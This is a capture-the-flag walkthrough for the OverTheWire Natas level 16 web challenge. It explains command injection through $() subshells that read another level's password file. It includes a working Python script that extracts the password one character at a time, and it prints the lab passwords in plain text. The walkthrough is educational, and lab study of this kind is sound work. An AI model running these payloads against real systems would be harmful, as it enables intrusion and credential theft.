- State “DONE” from “TODO”
http://natas16.natas.labs.overthewire.org/
So there is one input field and a comment that for security reasons, the code now filters on more characters. There is also a output field below, supposedly to give back a response from the search request.
Alright, let’s look at the sourcecode:
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>Shell injection
At first impression, this looks very much like level 9 above; if you need a reminder, go look at the walkthrough for it. We made use of the fact that passthru() does not sanitize and where able to insert some shell code into the grep command like so test; whoami.
However, this time around this solution will not work as the code does not allow ; as an input. The checking is quite strict and will not allow for appending, piping |, backgrounding & or breaking out of the code via `, ', "
There is an alternative though, via a subshell $(...). So we could pass in something like test$(cat /etc/natas_webpass/natas17) and the command would be run in the background.

If we run this, the page returns an empty answer. So it seems there are no illegal characters in here, but the page still does not return anything. And looking at the code it is clear why: the webpage does not return anything where we could return the result of our shell injection.
Now we need to think about the recent levels and in particular the blind SQL injection in level 15. Could we do something similar here?
Let’s see: if we only take the first letter of the password from natas17 $(cut -c1 /etc/natas_webpass/natas17) and use it as the ’needle’ for the code above, we should get back words from the dictionary only containing the first letter of the password.

“Blind” shell injection
Okay, well. This kind of seems to work. Due to the fact that the dictionary also contains single letters, I would be quite confident that the first letter is ’e’. However, the grep command is passed with the -i flag which ignores Upper/Lowercase. That means that we cannot really ascertain if the letter is lower or upppercase. Also not all letters are in the dictionary as single letters; so this method is unreliable.
Let’s step it up: in this case we need to inject the shell code, but then also do some kind of logic to ascertain whether or not a certain character is in the password. Remember: we can basically run any shell code we want inside the parentheses, not only related to grep. But in this case, we can also run a grep command inside the brackets. We know that probably the first letter of the pass is an ’e’ or ‘E’. So let’s try the following:
$(grep e /etc/natas_webpass/natas17)
$(grep E /etc/natas_webpass/natas17)For the first command we get the complete dictionary back; for the second command we get no result. What can we deduce from that? Let’s think about what happens in the background here: if the letter is in the password, grep will return the password. This means the complete expression will become something like this:
grep -i "32characterpassword" dictionary.txtIt is VERY unlikely that the password is in the dictionary. In fact, we can assume it is not. So that means if there is no output, we have most likely found a character in our password. Very nice!
Solution
That means we can assume that the first letter of the password is an “E”. Considering that going through every possible combination will take way to long, we can reuse the python script from before and alter it slightly:
import requests
import string
Url = "http://natas16.natas.labs.overthewire.org/index.php"
auth = ("natas16", "hPkjKYviLQctEW33QmuXL6eDVfMW4sGo")
Charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
Found_password = "E"
while True:
found_char = None
for char in Charset:
payload = "$(grep " + Found_password + char + " /etc/natas_webpass/natas17)"
response = requests.post(Url, auth=auth, data={"needle": payload})
if "African" not in response.text:
Found_password += char
print(f"[+] Found password so far: {Found_password}")
found_char = char
break
if not found_char:
break # Stop if no new characters are found
print(f"[+] Extracted password: {Found_password}")What is happening here? We log in to the natas16 website using the username and the password found in level 15. We then set the first character to “E”, because we are confident that we have already found our first letter.
Then we loop over our character set and check the resulting response for some word that is in the dictionary (African in this case). If that word is in our response, the letter is not the letter we are looking for. If the word is not in the response, we add the letter to our password.
And here is the script in Action:

- EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
Security implications
Character blacklisting is good, but it’s not sufficient. THe input is still not sanitized enough and so allows for stuff like $() and <> (file redirection) or * wildcard expansion. In general, blacklist-based filtering is quite fragile. In this case, e.g. this could allow an attacker to access sensitive files.
If run by an authorized (i.e. root) user, an attacker could add new users, install rootkits or disable logging/firewalls.
In order to mitigate, you should never allow user input be passed unsanitized into shell. You should use parameterized APIs instead.